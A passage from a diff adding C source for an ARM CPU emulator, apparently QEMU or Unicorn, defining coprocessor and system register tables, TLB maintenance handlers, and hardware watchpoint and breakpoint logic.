"CIDCR", 15, 0,14, 0,0, 0, 0, + ARM_CP_NOP|ARM_CP_64BIT, PL1_W, }, + REGINFO_SENTINEL +}; + +static const ARMCPRegInfo cache_test_clean_cp_reginfo[] = { + /* The cache test-and-clean instructions always return (1 << 30) + * to indicate that there are no dirty cache lines. + */ + { "TC_DCACHE", 15,7,10, 0,0,3, 0, + ARM_CP_CONST | ARM_CP_NO_MIGRATE, PL0_R, NULL, (1 << 30) }, + { "TCI_DCACHE", 15,7,14, 0,0,3, 0, + ARM_CP_CONST | ARM_CP_NO_MIGRATE, PL0_R, NULL, (1 << 30) }, + REGINFO_SENTINEL +}; + +static const ARMCPRegInfo strongarm_cp_reginfo[] = { + /* Ignore ReadBuffer accesses */ + { "C9_READBUFFER", 15,9,CP_ANY, 0,CP_ANY,CP_ANY, 0, + ARM_CP_CONST | ARM_CP_OVERRIDE | ARM_CP_NO_MIGRATE, PL1_RW, NULL, 0, }, + REGINFO_SENTINEL +}; + +static uint64_t mpidr_read(CPUARMState *env, const ARMCPRegInfo *ri) +{ + CPUState *cs = CPU(arm_env_get_cpu(env)); + uint32_t mpidr = cs->cpu_index; + /* We don't support setting cluster ID ([8..11]) (known as Aff1 + * in later ARM ARM versions), or any of the higher affinity level fields, + * so these bits always RAZ. + */ + if (arm_feature(env, ARM_FEATURE_V7MP)) { + mpidr |= (1U << 31); + /* Cores which are uniprocessor (non-coherent) + * but still implement the MP extensions set + * bit 30. (For instance, A9UP.) However we do + * not currently model any of those cores. + */ + } + return mpidr; +} + +static const ARMCPRegInfo mpidr_cp_reginfo[] = { + { "MPIDR", 0,0,0, 3,0,5, ARM_CP_STATE_BOTH, + ARM_CP_NO_MIGRATE, PL1_R, NULL, 0, 0, + NULL, mpidr_read, }, + REGINFO_SENTINEL +}; + +static const ARMCPRegInfo lpae_cp_reginfo[] = { + /* NOP AMAIR0/1: the override is because these clash with the rather + * broadly specified TLB_LOCKDOWN entry in the generic cp_reginfo. + */ + { "AMAIR0", 0,10,3, 3,0,0, ARM_CP_STATE_BOTH, + ARM_CP_CONST | ARM_CP_OVERRIDE, PL1_RW, NULL, 0 }, + /* AMAIR1 is mapped to AMAIR_EL1[63:32] */ + { "AMAIR1", 15,10,3, 0,0,1, 0, + ARM_CP_CONST | ARM_CP_OVERRIDE, PL1_RW, NULL, 0 }, + { "PAR", 15, 0,7, 0,0, 0, 0, + ARM_CP_64BIT, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.par_el1), }, + { "TTBR0", 15, 0,2, 0,0, 0, 0, + ARM_CP_64BIT | ARM_CP_NO_MIGRATE, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.ttbr0_el1), + NULL, NULL, vmsa_ttbr_write, NULL,NULL, arm_cp_reset_ignore }, + { "TTBR1", 15, 0,2, 0,1, 0, 0, + ARM_CP_64BIT | ARM_CP_NO_MIGRATE, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.ttbr1_el1), + NULL, NULL, vmsa_ttbr_write, NULL,NULL, arm_cp_reset_ignore }, + REGINFO_SENTINEL +}; + +static uint64_t aa64_fpcr_read(CPUARMState *env, const ARMCPRegInfo *ri) +{ + return vfp_get_fpcr(env); +} + +static void aa64_fpcr_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + vfp_set_fpcr(env, value); +} + +static uint64_t aa64_fpsr_read(CPUARMState *env, const ARMCPRegInfo *ri) +{ + return vfp_get_fpsr(env); +} + +static void aa64_fpsr_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + vfp_set_fpsr(env, value); +} + +static CPAccessResult aa64_daif_access(CPUARMState *env, const ARMCPRegInfo *ri) +{ + if (arm_current_el(env) == 0 && !(env->cp15.c1_sys & SCTLR_UMA)) { + return CP_ACCESS_TRAP; + } + return CP_ACCESS_OK; +} + +static void aa64_daif_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + env->daif = value & PSTATE_DAIF; +} + +static CPAccessResult aa64_cacheop_access(CPUARMState *env, + const ARMCPRegInfo *ri) +{ + /* Cache invalidate/clean: NOP, but EL0 must UNDEF unless + * SCTLR_EL1.UCI is set. + */ + if (arm_current_el(env) == 0 && !(env->cp15.c1_sys & SCTLR_UCI)) { + return CP_ACCESS_TRAP; + } + return CP_ACCESS_OK; +} + +/* See: D4.7.2 TLB maintenance requirements and the TLB maintenance instructions + * Page D4-1736 (DDI0487A.b) + */ + +static void tlbi_aa64_va_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + /* Invalidate by VA (AArch64 version) */ + ARMCPU *cpu = arm_env_get_cpu(env); + uint64_t pageaddr = sextract64(value << 12, 0, 56); + + tlb_flush_page(CPU(cpu), pageaddr); +} + +static void tlbi_aa64_vaa_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + /* Invalidate by VA, all ASIDs (AArch64 version) */ + ARMCPU *cpu = arm_env_get_cpu(env); + uint64_t pageaddr = sextract64(value << 12, 0, 56); + + tlb_flush_page(CPU(cpu), pageaddr); +} + +static void tlbi_aa64_asid_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + /* Invalidate by ASID (AArch64 version) */ + ARMCPU *cpu = arm_env_get_cpu(env); + int asid = extract64(value, 48, 16); + tlb_flush(CPU(cpu), asid == 0); +} + +static void tlbi_aa64_va_is_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + //uint64_t pageaddr = sextract64(value << 12, 0, 56); + //struct uc_struct *uc = env->uc; + // TODO: issue #642 + // tlb_flush(other_cpu, pageaddr); +} + +static void tlbi_aa64_vaa_is_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + //uint64_t pageaddr = sextract64(value << 12, 0, 56); + //struct uc_struct *uc = env->uc; + // TODO: issue #642 + // tlb_flush(other_cpu, pageaddr); +} + +static void tlbi_aa64_asid_is_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + //int asid = extract64(value, 48, 16); + //struct uc_struct *uc = env->uc; + // TODO: issue #642 + // tlb_flush(other_cpu, asid == 0); +} + +static CPAccessResult aa64_zva_access(CPUARMState *env, const ARMCPRegInfo *ri) +{ + /* We don't implement EL2, so the only control on DC ZVA is the + * bit in the SCTLR which can prohibit access for EL0. + */ + if (arm_current_el(env) == 0 && !(env->cp15.c1_sys & SCTLR_DZE)) { + return CP_ACCESS_TRAP; + } + return CP_ACCESS_OK; +} + +static uint64_t aa64_dczid_read(CPUARMState *env, const ARMCPRegInfo *ri) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + int dzp_bit = 1 << 4; + + /* DZP indicates whether DC ZVA access is allowed */ + if (aa64_zva_access(env, NULL) == CP_ACCESS_OK) { + dzp_bit = 0; + } + return cpu->dcz_blocksize | dzp_bit; +} + +static CPAccessResult sp_el0_access(CPUARMState *env, const ARMCPRegInfo *ri) +{ + if (!(env->pstate & PSTATE_SP)) { + /* Access to SP_EL0 is undefined if it's being used as + * the stack pointer. + */ + return CP_ACCESS_TRAP_UNCATEGORIZED; + } + return CP_ACCESS_OK; +} + +static uint64_t spsel_read(CPUARMState *env, const ARMCPRegInfo *ri) +{ + return env->pstate & PSTATE_SP; +} + +static void spsel_write(CPUARMState *env, const ARMCPRegInfo *ri, uint64_t val) +{ + update_spsel(env, val); +} + +static const ARMCPRegInfo v8_cp_reginfo[] = { + /* Minimal set of EL0-visible registers. This will need to be expanded + * significantly for system emulation of AArch64 CPUs. + */ + { "NZCV", 0,4,2, 3,3,0, ARM_CP_STATE_AA64, + ARM_CP_NZCV, PL0_RW, }, + { "DAIF", 0,4,2, 3,3,1, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL0_RW, NULL, 0, offsetof(CPUARMState, daif), + aa64_daif_access, NULL, aa64_daif_write, NULL,NULL, arm_cp_reset_ignore }, + { "FPCR", 0,4,4, 3,3,0, ARM_CP_STATE_AA64, + 0, PL0_RW, NULL, 0, 0, + NULL, aa64_fpcr_read, aa64_fpcr_write }, + { "FPSR", 0,4,4, 3,3,1, ARM_CP_STATE_AA64, + 0, PL0_RW, NULL, 0, 0, + NULL, aa64_fpsr_read, aa64_fpsr_write }, + { "DCZID_EL0", 0,0,0, 3,3,7, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL0_R, NULL, 0, 0, + NULL, aa64_dczid_read }, + { "DC_ZVA", 0,7,4, 1,3,1, ARM_CP_STATE_AA64, + ARM_CP_DC_ZVA, PL0_W, NULL, 0, 0, +#ifndef CONFIG_USER_ONLY + /* Avoid overhead of an access check that always passes in user-mode */ + aa64_zva_access, +#endif + }, + { "CURRENTEL", 0,4,2, 3,0,2, ARM_CP_STATE_AA64, + ARM_CP_CURRENTEL, PL1_R, }, + /* Cache ops: all NOPs since we don't emulate caches */ + { "IC_IALLUIS", 0,7,1, 1,0,0, ARM_CP_STATE_AA64, + ARM_CP_NOP, PL1_W, }, + { "IC_IALLU", 0,7,5, 1,0,0, ARM_CP_STATE_AA64, + ARM_CP_NOP, PL1_W, }, + { "IC_IVAU", 0,7,5, 1,3,1, ARM_CP_STATE_AA64, + ARM_CP_NOP, PL0_W, NULL, 0, 0, + aa64_cacheop_access }, + { "DC_IVAC", 0,7,6, 1,0,1, ARM_CP_STATE_AA64, + ARM_CP_NOP, PL1_W, }, + { "DC_ISW", 0,7,6, 1,0,2, ARM_CP_STATE_AA64, + ARM_CP_NOP, PL1_W, }, + { "DC_CVAC", 0,7,10, 1,3,1, ARM_CP_STATE_AA64, + ARM_CP_NOP, PL0_W, NULL, 0, 0, + aa64_cacheop_access }, + { "DC_CSW", 0,7,10, 1,0,2, ARM_CP_STATE_AA64, + ARM_CP_NOP, PL1_W, }, + { "DC_CVAU", 0,7,11, 1,3,1, ARM_CP_STATE_AA64, + ARM_CP_NOP, PL0_W, NULL, 0, 0, + aa64_cacheop_access }, + { "DC_CIVAC", 0,7,14, 1,3,1, ARM_CP_STATE_AA64, + ARM_CP_NOP, PL0_W, NULL, 0, 0, + aa64_cacheop_access }, + { "DC_CISW", 0,7,14, 1,0,2, ARM_CP_STATE_AA64, + ARM_CP_NOP, PL1_W, }, + /* TLBI operations */ + { "TLBI_VMALLE1IS", 0,8,3, 1,0,0, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbiall_is_write }, + { "TLBI_VAE1IS", 0,8,3, 1,0,1, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbi_aa64_va_is_write }, + { "TLBI_ASIDE1IS", 0,8,3, 1,0,2, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbi_aa64_asid_is_write }, + { "TLBI_VAAE1IS", 0,8,3, 1,0,3, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbi_aa64_vaa_is_write }, + { "TLBI_VALE1IS", 0,8,3, 1,0,5, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbi_aa64_va_is_write }, + { "TLBI_VAALE1IS", 0,8,3, 1,0,7, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbi_aa64_vaa_is_write }, + { "TLBI_VMALLE1", 0,8,7, 1,0,0, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbiall_write }, + { "TLBI_VAE1", 0,8,7, 1,0,1, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbi_aa64_va_write }, + { "TLBI_ASIDE1", 0,8,7, 1,0,2, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbi_aa64_asid_write }, + { "TLBI_VAAE1", 0,8,7, 1,0,3, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbi_aa64_vaa_write }, + { "TLBI_VALE1", 0,8,7, 1,0,5, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbi_aa64_va_write }, + { "TLBI_VAALE1", 0,8,7, 1,0,7, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbi_aa64_vaa_write }, +#ifndef CONFIG_USER_ONLY + /* 64 bit address translation operations */ + { "AT_S1E1R", 0,7,8, 1,0,0, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, ats_write }, + { "AT_S1E1W", 0,7,8, 1,0,1, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, ats_write }, + { "AT_S1E0R", 0,7,8, 1,0,2, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, ats_write }, + { "AT_S1E0W", 0,7,8, 1,0,3, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, ats_write }, +#endif + /* TLB invalidate last level of translation table walk */ + { "TLBIMVALIS", 15,8,3, 0,0,5, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbimva_is_write }, + { "TLBIMVAALIS", 15,8,3, 0,0,7, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbimvaa_is_write }, + { "TLBIMVAL", 15,8,7, 0,0,5, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbimva_write }, + { "TLBIMVAAL", 15,8,7, 0,0,7, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbimvaa_write }, + /* 32 bit cache operations */ + { "ICIALLUIS", 15,7,1, 0,0,0, 0, + ARM_CP_NOP, PL1_W }, + { "BPIALLUIS", 15,7,1, 0,0,6, 0, + ARM_CP_NOP, PL1_W }, + { "ICIALLU", 15,7,5, 0,0,0, 0, + ARM_CP_NOP, PL1_W }, + { "ICIMVAU", 15,7,5, 0,0,1, 0, + ARM_CP_NOP, PL1_W }, + { "BPIALL", 15,7,5, 0,0,6, 0, + ARM_CP_NOP, PL1_W }, + { "BPIMVA", 15,7,5, 0,0,7, 0, + ARM_CP_NOP, PL1_W }, + { "DCIMVAC", 15,7,6, 0,0,1, 0, + ARM_CP_NOP, PL1_W }, + { "DCISW", 15,7,6, 0,0,2, 0, + ARM_CP_NOP, PL1_W }, + { "DCCMVAC", 15,7,10, 0,0,1, 0, + ARM_CP_NOP, PL1_W }, + { "DCCSW", 15,7,10, 0,0,2, 0, + ARM_CP_NOP, PL1_W }, + { "DCCMVAU", 15,7,11, 0,0,1, 0, + ARM_CP_NOP, PL1_W }, + { "DCCIMVAC", 15,7,14, 0,0,1, 0, + ARM_CP_NOP, PL1_W }, + { "DCCISW", 15,7,14, 0,0,2, 0, + ARM_CP_NOP, PL1_W }, + /* MMU Domain access control / MPU write buffer control */ + { "DACR", 15,3,0, 0,0,0, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c3), + NULL, NULL,dacr_write, NULL,raw_write, }, + { "ELR_EL1", 0,4,0, 3,0,1, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL1_RW, NULL, 0, offsetof(CPUARMState, elr_el[1]) }, + { "SPSR_EL1", 0,4,0, 3,0,0, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL1_RW, NULL, 0, offsetof(CPUARMState, banked_spsr[0]) }, + /* We rely on the access checks not allowing the guest to write to the + * state field when SPSel indicates that it's being used as the stack + * pointer. + */ + { "SP_EL0", 0,4,1, 3,0,0, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL1_RW, NULL, 0, offsetof(CPUARMState, sp_el[0]), + sp_el0_access, }, + { "SPSel", 0,4,2, 3,0,0, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL1_RW, NULL, 0, 0, + NULL, spsel_read, spsel_write }, + REGINFO_SENTINEL +}; + +/* Used to describe the behaviour of EL2 regs when EL2 does not exist. */ +static const ARMCPRegInfo v8_el3_no_el2_cp_reginfo[] = { + { "VBAR_EL2", 0,12,0, 3,4,0, ARM_CP_STATE_AA64, + 0, PL2_RW, NULL, 0, 0, + NULL, arm_cp_read_zero, arm_cp_write_ignore }, + { "HCR_EL2", 0,1,1, 3,4,0, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL2_RW, NULL, 0, 0, + NULL, arm_cp_read_zero, arm_cp_write_ignore }, + REGINFO_SENTINEL +}; + +static void hcr_write(CPUARMState *env, const ARMCPRegInfo *ri, uint64_t value) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + uint64_t valid_mask = HCR_MASK; + + if (arm_feature(env, ARM_FEATURE_EL3)) { + valid_mask &= ~HCR_HCD; + } else { + valid_mask &= ~HCR_TSC; + } + + /* Clear RES0 bits. */ + value &= valid_mask; + + /* These bits change the MMU setup: + * HCR_VM enables stage 2 translation + * HCR_PTW forbids certain page-table setups + * HCR_DC Disables stage1 and enables stage2 translation + */ + if ((raw_read(env, ri) ^ value) & (HCR_VM | HCR_PTW | HCR_DC)) { + tlb_flush(CPU(cpu), 1); + } + raw_write(env, ri, value); +} + +static const ARMCPRegInfo v8_el2_cp_reginfo[] = { + { "HCR_EL2", 0,1,1, 3,4,0, ARM_CP_STATE_AA64, + 0, PL2_RW, NULL, 0, offsetof(CPUARMState, cp15.hcr_el2), + NULL, NULL, hcr_write }, + { "ELR_EL2", 0,4,0, 3,4,1, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL2_RW, NULL, 0, offsetof(CPUARMState, elr_el[2]) }, + { "ESR_EL2", 0,5,2, 3,4,0, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL2_RW, NULL, 0, offsetof(CPUARMState, cp15.esr_el[2]) }, + { "FAR_EL2", 0,6,0, 3,4,0, ARM_CP_STATE_AA64, + 0, PL2_RW, NULL, 0, offsetof(CPUARMState, cp15.far_el[2]) }, + { "SPSR_EL2", 0,4,0, 3,4,0, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL2_RW, NULL, 0, offsetof(CPUARMState, banked_spsr[6]) }, + { "VBAR_EL2", 0,12,0, 3,4,0, ARM_CP_STATE_AA64, + 0, PL2_RW, NULL, 0, offsetof(CPUARMState, cp15.vbar_el[2]), + NULL, NULL, vbar_write, }, + REGINFO_SENTINEL +}; + +static const ARMCPRegInfo v8_el3_cp_reginfo[] = { + { "ELR_EL3", 0,4,0, 3,6,1, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL3_RW, NULL, 0, offsetof(CPUARMState, elr_el[3]) }, + { "ESR_EL3", 0,5,2, 3,6,0, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL3_RW, NULL, 0, offsetof(CPUARMState, cp15.esr_el[3]) }, + { "FAR_EL3", 0,6,0, 3,6,0, ARM_CP_STATE_AA64, + 0, PL3_RW, NULL, 0, offsetof(CPUARMState, cp15.far_el[3]) }, + { "SPSR_EL3", 0,4,0, 3,6,0, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL3_RW, NULL, 0, offsetof(CPUARMState, banked_spsr[7]) }, + { "VBAR_EL3", 0,12,0, 3,6,0, ARM_CP_STATE_AA64, + 0, PL3_RW, NULL, 0, offsetof(CPUARMState, cp15.vbar_el[3]), + NULL, NULL, vbar_write, }, + { "SCR_EL3", 0,1,1, 3,6,0, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE, PL3_RW, NULL, 0, offsetof(CPUARMState, cp15.scr_el3), + NULL, NULL, scr_write }, + REGINFO_SENTINEL +}; + +static void sctlr_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + + if (raw_read(env, ri) == value) { + /* Skip the TLB flush if nothing actually changed; Linux likes + * to do a lot of pointless SCTLR writes. + */ + return; + } + + raw_write(env, ri, value); + /* ??? Lots of these bits are not implemented. */ + /* This may enable/disable the MMU, so do a TLB flush. */ + tlb_flush(CPU(cpu), 1); +} + +static CPAccessResult ctr_el0_access(CPUARMState *env, const ARMCPRegInfo *ri) +{ + /* Only accessible in EL0 if SCTLR.UCT is set (and only in AArch64, + * but the AArch32 CTR has its own reginfo struct) + */ + if (arm_current_el(env) == 0 && !(env->cp15.c1_sys & SCTLR_UCT)) { + return CP_ACCESS_TRAP; + } + return CP_ACCESS_OK; +} + +static const ARMCPRegInfo debug_cp_reginfo[] = { + /* DBGDRAR, DBGDSAR: always RAZ since we don't implement memory mapped + * debug components. The AArch64 version of DBGDRAR is named MDRAR_EL1; + * unlike DBGDRAR it is never accessible from EL0. + * DBGDSAR is deprecated and must RAZ from v8 anyway, so it has no AArch64 + * accessor. + */ + { "DBGDRAR", 14,1,0, 0,0,0, 0, + ARM_CP_CONST, PL0_R, NULL, 0 }, + { "MDRAR_EL1", 0,1,0, 2,0,0, ARM_CP_STATE_AA64, + ARM_CP_CONST, PL1_R, NULL, 0 }, + { "DBGDSAR", 14,2,0, 0,0,0, 0, + ARM_CP_CONST, PL0_R, NULL, 0 }, + /* Monitor debug system control register; the 32-bit alias is DBGDSCRext. */ + { "MDSCR_EL1", 14,0,2, 2,0,2, ARM_CP_STATE_BOTH, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.mdscr_el1), }, + /* MDCCSR_EL0, aka DBGDSCRint. This is a read-only mirror of MDSCR_EL1. + * We don't implement the configurable EL0 access. + */ + { "MDCCSR_EL0", 14,0,1, 2,0,0, ARM_CP_STATE_BOTH, + ARM_CP_NO_MIGRATE, PL1_R, NULL, 0, offsetof(CPUARMState, cp15.mdscr_el1), + NULL,NULL,NULL,NULL,NULL, arm_cp_reset_ignore }, + /* We define a dummy WI OSLAR_EL1, because Linux writes to it. */ + { "OSLAR_EL1", 14,1,0, 2,0,4, ARM_CP_STATE_BOTH, + ARM_CP_NOP, PL1_W, }, + /* Dummy OSDLR_EL1: 32-bit Linux will read this */ + { "OSDLR_EL1", 14,1,3, 2,0,4, ARM_CP_STATE_BOTH, + ARM_CP_NOP, PL1_RW, }, + /* Dummy DBGVCR: Linux wants to clear this on startup, but we don't + * implement vector catch debug events yet. + */ + { "DBGVCR", 14,0,7, 0,0,0, 0, + ARM_CP_NOP, PL1_RW, }, + REGINFO_SENTINEL +}; + +static const ARMCPRegInfo debug_lpae_cp_reginfo[] = { + /* 64 bit access versions of the (dummy) debug registers */ + { "DBGDRAR", 14, 0,1, 0,0, 0, 0, + ARM_CP_CONST|ARM_CP_64BIT, PL0_R, NULL, 0 }, + { "DBGDSAR", 14, 0,2, 0,0, 0, 0, + ARM_CP_CONST|ARM_CP_64BIT, PL0_R, NULL, 0 }, + REGINFO_SENTINEL +}; + +void hw_watchpoint_update(ARMCPU *cpu, int n) +{ + CPUARMState *env = &cpu->env; + vaddr len = 0; + vaddr wvr = env->cp15.dbgwvr[n]; + uint64_t wcr = env->cp15.dbgwcr[n]; + int mask; + int flags = BP_CPU | BP_STOP_BEFORE_ACCESS; + + if (env->cpu_watchpoint[n]) { + cpu_watchpoint_remove_by_ref(CPU(cpu), env->cpu_watchpoint[n]); + env->cpu_watchpoint[n] = NULL; + } + + if (!extract64(wcr, 0, 1)) { + /* E bit clear : watchpoint disabled */ + return; + } + + switch (extract64(wcr, 3, 2)) { + case 0: + /* LSC 00 is reserved and must behave as if the wp is disabled */ + return; + case 1: + flags |= BP_MEM_READ; + break; + case 2: + flags |= BP_MEM_WRITE; + break; + case 3: + flags |= BP_MEM_ACCESS; + break; + } + + /* Attempts to use both MASK and BAS fields simultaneously are + * CONSTRAINED UNPREDICTABLE; we opt to ignore BAS in this case, + * thus generating a watchpoint for every byte in the masked region. + */ + mask = extract64(wcr, 24, 4); + if (mask == 1 || mask == 2) { + /* Reserved values of MASK; we must act as if the mask value was + * some non-reserved value, or as if the watchpoint were disabled. + * We choose the latter. + */ + return; + } else if (mask) { + /* Watchpoint covers an aligned area up to 2GB in size */ + len = 1ULL << mask; + /* If masked bits in WVR are not zero it's CONSTRAINED UNPREDICTABLE + * whether the watchpoint fires when the unmasked bits match; we opt + * to generate the exceptions. + */ + wvr &= ~(len - 1); + } else { + /* Watchpoint covers bytes defined by the byte address select bits */ + int bas = extract64(wcr, 5, 8); + int basstart; + + if (bas == 0) { + /* This must act as if the watchpoint is disabled */ + return; + } + + if (extract64(wvr, 2, 1)) { + /* Deprecated case of an only 4-aligned address. BAS[7:4] are + * ignored, and BAS[3:0] define which bytes to watch. + */ + bas &= 0xf; + } + /* The BAS bits are supposed to be programmed to indicate a contiguous + * range of bytes. Otherwise it is CONSTRAINED UNPREDICTABLE whether + * we fire for each byte in the word/doubleword addressed by the WVR. + * We choose to ignore any non-zero bits after the first range of 1s. + */ + basstart = ctz32(bas); + len = cto32(bas >> (basstart & 0x1f)); + wvr += basstart; + } + + cpu_watchpoint_insert(CPU(cpu), wvr, len, flags, + &env->cpu_watchpoint[n]); +} + +void hw_watchpoint_update_all(ARMCPU *cpu) +{ + int i; + CPUARMState *env = &cpu->env; + + /* Completely clear out existing QEMU watchpoints and our array, to + * avoid possible stale entries following migration load. + */ + cpu_watchpoint_remove_all(CPU(cpu), BP_CPU); + memset(env->cpu_watchpoint, 0, sizeof(env->cpu_watchpoint)); + + for (i = 0; i < ARRAY_SIZE(cpu->env.cpu_watchpoint); i++) { + hw_watchpoint_update(cpu, i); + } +} + +static void dbgwvr_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + int i = ri->crm; + + /* Bits [63:49] are hardwired to the value of bit [48]; that is, the + * register reads and behaves as if values written are sign extended. + * Bits [1:0] are RES0. + */ + value = sextract64(value, 0, 49) & ~3ULL; + + raw_write(env, ri, value); + hw_watchpoint_update(cpu, i); +} + +static void dbgwcr_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + int i = ri->crm; + + raw_write(env, ri, value); + hw_watchpoint_update(cpu, i); +} + +void hw_breakpoint_update(ARMCPU *cpu, int n) +{ + CPUARMState *env = &cpu->env; + uint64_t bvr = env->cp15.dbgbvr[n]; + uint64_t bcr = env->cp15.dbgbcr[n]; + vaddr addr; + int bt; + int flags = BP_CPU; + + if (env->cpu_breakpoint[n]) { + cpu_breakpoint_remove_by_ref(CPU(cpu), env->cpu_breakpoint[n]); + env->cpu_breakpoint[n] = NULL; + } + + if (!extract64(bcr, 0, 1)) { + /* E bit clear : watchpoint disabled */ + return; + } + + bt = extract64(bcr, 20, 4); + + switch (bt) { + case 4: /* unlinked address mismatch (reserved if AArch64) */ + case 5: /* linked address mismatch (reserved if AArch64) */ + qemu_log_mask(LOG_UNIMP, + "arm: address mismatch breakpoint types not implemented"); + return; + case 0: /* unlinked address match */ + case 1: /* linked address match */ + { + /* Bits [63:49] are hardwired to the value of bit [48]; that is, + * we behave as if the register was sign extended. Bits [1:0] are + * RES0. The BAS field is used to allow setting breakpoints on 16 + * bit wide instructions; it is CONSTRAINED UNPREDICTABLE whether + * a bp will fire if the addresses covered by the bp and the addresses + * covered by the insn overlap but the insn doesn't start at the + * start of the bp address range. We choose to require the insn and + * the bp to have the same address. The constraints on writing to + * BAS enforced in dbgbcr_write mean we have only four cases: + * 0b0000 => no breakpoint + * 0b0011 => breakpoint on addr + * 0b1100 => breakpoint on addr + 2 + * 0b1111 => breakpoint on addr + * See also figure D2-3 in the v8 ARM ARM (DDI0487A.c). + */ + int bas = extract64(bcr, 5, 4); + addr = sextract64(bvr, 0, 49) & ~3ULL; + if (bas == 0) { + return; + } + if (bas == 0xc) { + addr += 2; + } + break; + } + case 2: /* unlinked context ID match */ + case 8: /* unlinked VMID match (reserved if no EL2) */ + case 10: /* unlinked context ID and VMID match (reserved if no EL2) */ + qemu_log_mask(LOG_UNIMP, + "arm: unlinked context breakpoint types not implemented"); + return; + case 9: /* linked VMID match (reserved if no EL2) */ + case 11: /* linked context ID and VMID match (reserved if no EL2) */ + case 3: /* linked context ID match */ + default: + /* We must generate no events for Linked context matches (unless + * they are linked to by some other bp/wp, which is handled in + * updates for the linking bp/wp). We choose to also generate no events + * for reserved values. + */ + return; + } + + cpu_breakpoint_insert(CPU(cpu), addr, flags, &env->cpu_breakpoint[n]); +} + +void hw_breakpoint_update_all(ARMCPU *cpu) +{ + int i; + CPUARMState *env = &cpu->env; + + /* Completely clear out existing QEMU breakpoints and our array, to + * avoid possible stale entries following migration load. + */ + cpu_breakpoint_remove_all(CPU(cpu), BP_CPU); + memset(env->cpu_breakpoint, 0, sizeof(env->cpu_breakpoint)); + + for (i = 0; i < ARRAY_SIZE(cpu->env.cpu_breakpoint); i++) { + hw_breakpoint_update(cpu, i); + } +} + +static void dbgbvr_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + int i = ri->crm; + + raw_write(env, ri, value); + hw_breakpoint_update(cpu, i); +} + +static void dbgbcr_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + ARMCPU *cpu = 